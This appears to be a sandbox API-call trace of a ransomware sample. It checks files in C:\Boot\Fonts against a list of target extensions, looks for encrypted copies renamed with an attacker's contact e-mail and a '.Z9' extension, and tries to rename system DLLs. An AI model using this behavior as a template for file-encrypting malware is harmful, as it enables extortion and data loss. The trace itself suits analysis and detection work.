	[0160.937] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0160.937] lstrlenW (lpString=".jpg") returned 4
	[0160.937] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.937] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0160.937] lstrlenW (lpString="malgun_boot.ttf") returned 15
	[0160.937] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.943] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=177414) returned 1
	[0160.943] CloseHandle (hObject=0x394) returned 1
	[0160.943] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20
	[0160.943] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.943] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.944] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.944] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.944] lstrlenW (lpString=".doc") returned 4
	[0160.944] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.944] lstrlenW (lpString=".docx") returned 5
	[0160.944] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.944] lstrlenW (lpString=".pdf") returned 4
	[0160.944] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.944] lstrlenW (lpString=".xls") returned 4
	[0160.944] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.944] lstrlenW (lpString=".xlsx") returned 5
	[0160.944] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.944] lstrlenW (lpString=".ppt") returned 4
	[0160.944] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.944] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.944] lstrlenW (lpString=".zip") returned 4
	[0160.944] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.944] lstrlenW (lpString=".rar") returned 4
	[0160.944] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.944] lstrlenW (lpString=".bz2") returned 4
	[0160.944] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.944] lstrlenW (lpString=".7z") returned 3
	[0160.944] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.944] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.944] lstrlenW (lpString=".dbf") returned 4
	[0160.944] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.944] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.944] lstrlenW (lpString=".1cd") returned 4
	[0160.944] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0160.944] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.944] lstrlenW (lpString=".jpg") returned 4
	[0160.944] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.944] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.945] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.945] lstrlenW (lpString=".doc") returned 4
	[0160.945] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.945] lstrlenW (lpString=".docx") returned 5
	[0160.945] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.945] lstrlenW (lpString=".pdf") returned 4
	[0160.945] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.945] lstrlenW (lpString=".xls") returned 4
	[0160.945] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.945] lstrlenW (lpString=".xlsx") returned 5
	[0160.945] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.945] lstrlenW (lpString=".ppt") returned 4
	[0160.945] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.945] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.945] lstrlenW (lpString=".zip") returned 4
	[0160.945] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.945] lstrlenW (lpString=".rar") returned 4
	[0160.945] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.945] lstrlenW (lpString=".bz2") returned 4
	[0160.945] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.945] lstrlenW (lpString=".7z") returned 3
	[0160.945] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.945] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.945] lstrlenW (lpString=".dbf") returned 4
	[0160.945] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.945] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.945] lstrlenW (lpString=".1cd") returned 4
	[0160.945] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0160.945] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29
	[0160.945] lstrlenW (lpString=".jpg") returned 4
	[0160.945] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.945] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0160.946] lstrlenW (lpString="meiryon_boot.ttf") returned 16
	[0160.946] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.965] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=143754) returned 1
	[0160.965] CloseHandle (hObject=0x394) returned 1
	[0160.965] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20
	[0160.965] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.971] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.972] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.972] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.972] lstrlenW (lpString=".doc") returned 4
	[0160.972] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.972] lstrlenW (lpString=".docx") returned 5
	[0160.972] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.972] lstrlenW (lpString=".pdf") returned 4
	[0160.972] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.972] lstrlenW (lpString=".xls") returned 4
	[0160.972] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.972] lstrlenW (lpString=".xlsx") returned 5
	[0160.972] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.972] lstrlenW (lpString=".ppt") returned 4
	[0160.972] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.972] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.972] lstrlenW (lpString=".zip") returned 4
	[0160.972] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.972] lstrlenW (lpString=".rar") returned 4
	[0160.972] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.973] lstrlenW (lpString=".bz2") returned 4
	[0160.973] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.973] lstrlenW (lpString=".7z") returned 3
	[0160.973] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.973] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.973] lstrlenW (lpString=".dbf") returned 4
	[0160.973] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.973] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.973] lstrlenW (lpString=".1cd") returned 4
	[0160.973] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0160.973] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.973] lstrlenW (lpString=".jpg") returned 4
	[0160.973] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.973] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.973] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.973] lstrlenW (lpString=".doc") returned 4
	[0160.973] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.973] lstrlenW (lpString=".docx") returned 5
	[0160.973] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.973] lstrlenW (lpString=".pdf") returned 4
	[0160.973] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.973] lstrlenW (lpString=".xls") returned 4
	[0160.973] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.973] lstrlenW (lpString=".xlsx") returned 5
	[0160.973] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.973] lstrlenW (lpString=".ppt") returned 4
	[0160.973] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.973] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.973] lstrlenW (lpString=".zip") returned 4
	[0160.973] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.973] lstrlenW (lpString=".rar") returned 4
	[0160.973] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.973] lstrlenW (lpString=".bz2") returned 4
	[0160.973] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.974] lstrlenW (lpString=".7z") returned 3
	[0160.974] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.974] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.974] lstrlenW (lpString=".dbf") returned 4
	[0160.974] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.974] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.974] lstrlenW (lpString=".1cd") returned 4
	[0160.974] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0160.974] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30
	[0160.974] lstrlenW (lpString=".jpg") returned 4
	[0160.974] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.974] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0160.974] lstrlenW (lpString="msyhn_boot.ttf") returned 14
	[0160.974] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.975] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=154427) returned 1
	[0160.975] CloseHandle (hObject=0x394) returned 1
	[0160.975] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20
	[0160.975] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.975] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.975] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.975] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.976] lstrlenW (lpString=".doc") returned 4
	[0160.976] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.976] lstrlenW (lpString=".docx") returned 5
	[0160.976] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.976] lstrlenW (lpString=".pdf") returned 4
	[0160.976] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.976] lstrlenW (lpString=".xls") returned 4
	[0160.976] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.976] lstrlenW (lpString=".xlsx") returned 5
	[0160.976] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.976] lstrlenW (lpString=".ppt") returned 4
	[0160.976] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.976] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.976] lstrlenW (lpString=".zip") returned 4
	[0160.976] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.976] lstrlenW (lpString=".rar") returned 4
	[0160.976] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.976] lstrlenW (lpString=".bz2") returned 4
	[0160.976] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.976] lstrlenW (lpString=".7z") returned 3
	[0160.976] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.976] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.976] lstrlenW (lpString=".dbf") returned 4
	[0160.976] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.976] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.976] lstrlenW (lpString=".1cd") returned 4
	[0160.976] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0160.976] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.976] lstrlenW (lpString=".jpg") returned 4
	[0160.976] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.976] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.976] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.976] lstrlenW (lpString=".doc") returned 4
	[0160.977] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.977] lstrlenW (lpString=".docx") returned 5
	[0160.977] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.977] lstrlenW (lpString=".pdf") returned 4
	[0160.977] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.977] lstrlenW (lpString=".xls") returned 4
	[0160.977] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.977] lstrlenW (lpString=".xlsx") returned 5
	[0160.977] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.977] lstrlenW (lpString=".ppt") returned 4
	[0160.977] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.977] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.977] lstrlenW (lpString=".zip") returned 4
	[0160.977] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.977] lstrlenW (lpString=".rar") returned 4
	[0160.977] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.977] lstrlenW (lpString=".bz2") returned 4
	[0160.977] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.977] lstrlenW (lpString=".7z") returned 3
	[0160.977] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.977] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.977] lstrlenW (lpString=".dbf") returned 4
	[0160.977] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.977] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.977] lstrlenW (lpString=".1cd") returned 4
	[0160.977] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0160.977] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0160.977] lstrlenW (lpString=".jpg") returned 4
	[0160.977] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.977] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0160.977] lstrlenW (lpString="msyh_boot.ttf") returned 13
	[0160.978] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.978] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=156245) returned 1
	[0160.978] CloseHandle (hObject=0x394) returned 1
	[0160.978] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20
	[0160.978] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.978] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.978] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.978] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.978] lstrlenW (lpString=".doc") returned 4
	[0160.978] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.978] lstrlenW (lpString=".docx") returned 5
	[0160.978] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.978] lstrlenW (lpString=".pdf") returned 4
	[0160.978] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.978] lstrlenW (lpString=".xls") returned 4
	[0160.978] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.979] lstrlenW (lpString=".xlsx") returned 5
	[0160.979] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.979] lstrlenW (lpString=".ppt") returned 4
	[0160.979] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.979] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.979] lstrlenW (lpString=".zip") returned 4
	[0160.979] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.979] lstrlenW (lpString=".rar") returned 4
	[0160.979] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.979] lstrlenW (lpString=".bz2") returned 4
	[0160.979] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.979] lstrlenW (lpString=".7z") returned 3
	[0160.979] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.979] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.979] lstrlenW (lpString=".dbf") returned 4
	[0160.979] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.979] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.979] lstrlenW (lpString=".1cd") returned 4
	[0160.979] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0160.979] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.979] lstrlenW (lpString=".jpg") returned 4
	[0160.979] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.979] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.979] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.979] lstrlenW (lpString=".doc") returned 4
	[0160.979] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.979] lstrlenW (lpString=".docx") returned 5
	[0160.979] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.979] lstrlenW (lpString=".pdf") returned 4
	[0160.979] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.979] lstrlenW (lpString=".xls") returned 4
	[0160.979] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.979] lstrlenW (lpString=".xlsx") returned 5
	[0160.980] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.980] lstrlenW (lpString=".ppt") returned 4
	[0160.980] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.980] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.980] lstrlenW (lpString=".zip") returned 4
	[0160.980] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.980] lstrlenW (lpString=".rar") returned 4
	[0160.980] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.980] lstrlenW (lpString=".bz2") returned 4
	[0160.980] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.980] lstrlenW (lpString=".7z") returned 3
	[0160.980] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.980] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.980] lstrlenW (lpString=".dbf") returned 4
	[0160.980] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0160.980] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.980] lstrlenW (lpString=".1cd") returned 4
	[0160.980] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0160.980] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0160.980] lstrlenW (lpString=".jpg") returned 4
	[0160.980] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0160.980] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0160.980] lstrlenW (lpString="segmono_boot.ttf") returned 16
	[0160.980] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.981] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=44859) returned 1
	[0160.981] CloseHandle (hObject=0x394) returned 1
	[0160.981] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20
	[0160.981] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.981] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.981] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0160.981] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0160.982] lstrlenW (lpString=".doc") returned 4
	[0160.982] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0160.982] lstrlenW (lpString=".docx") returned 5
	[0160.982] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0160.982] lstrlenW (lpString=".pdf") returned 4
	[0160.982] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0160.982] lstrlenW (lpString=".xls") returned 4
	[0160.982] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0160.982] lstrlenW (lpString=".xlsx") returned 5
	[0160.982] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0160.982] lstrlenW (lpString=".ppt") returned 4
	[0160.982] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0160.982] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0160.982] lstrlenW (lpString=".zip") returned 4
	[0160.982] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0160.982] lstrlenW (lpString=".rar") returned 4
	[0160.982] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0160.982] lstrlenW (lpString=".bz2") returned 4
	[0160.982] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0160.982] lstrlenW (lpString=".7z") returned 3
	[0160.982] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0160.982] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0161.391] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0161.393] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0161.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
